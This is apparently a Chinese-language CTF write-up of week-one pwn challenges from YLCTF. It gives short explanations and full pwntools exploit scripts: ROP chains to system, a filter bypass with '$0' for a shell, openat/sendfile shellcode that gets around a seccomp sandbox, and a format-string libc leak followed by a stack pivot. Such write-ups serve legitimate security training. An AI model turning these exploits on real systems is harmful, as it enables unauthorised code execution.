pwn
week1
giaopwn
64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp
和返回地址被覆盖。
通过栈溢出漏洞劫持执行流,通过pop_rdi
将cat flag
字符串弹入rdi
寄存器作为system参数,然后返回执行system函数。
加的ret
指令是为了栈平衡。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
r() pop_rdi=0x0000000000400743 ret=0x00000000004004fe system=0x4006D2 cat_flag=0x601048 payload=b'\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system) s(payload)
ia()
|
ezstack
main
函数会返回到stack
函数执行,stack
函数中存在栈溢出。
发现vuln
中存在system函数,并且将输入的内容作为system函数的参数执行。
但是对输入的内容做了过滤,如果内容中包含s、h、c、f 等字符则报错返回。
所以我们要拿到shell,必须输入一个不被过滤的字符。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
off=56
ret=0x000000000040101a payload=b'\x00'*off+p64(ret)+p64(elf.sym.vuln)
sl(payload)
sla("command\n",b"$0")
ia()
|
ezorw
沙箱题
禁止了read、write、open、readv、writev、execveat等系统调用。
常规的orw并不奏效,但是我们可以通过openat和sendfile来读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013 0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100)) payload=asm(shellcode) r() sl(payload)
ia()
|
ezfmt
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf libc=ELF("./libc-2.31.so")
vuln=0x40120D payload=b"%13$p%15$p".ljust(0x28,b"a")+p64(vuln) s(payload) ru("welcome to YLCTF\n") base=int(r(14),16) stack=int(r(14),16)
print("base:",hex(base)) print("stack:",hex(stack))
base=base-0x024083 stack=stack-0x000120 print(hex(base)) print(hex(stack))
pop_rdi=0x4012b3 system=base+libc.sym.system sh=base+next(libc.search(b"/bin/sh\x00")) leave_ret=0x401241
payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)+p64(stack)+p64(leave_ret)
s(payload)
ia()
|
week2
week3
re
week1
week2
week3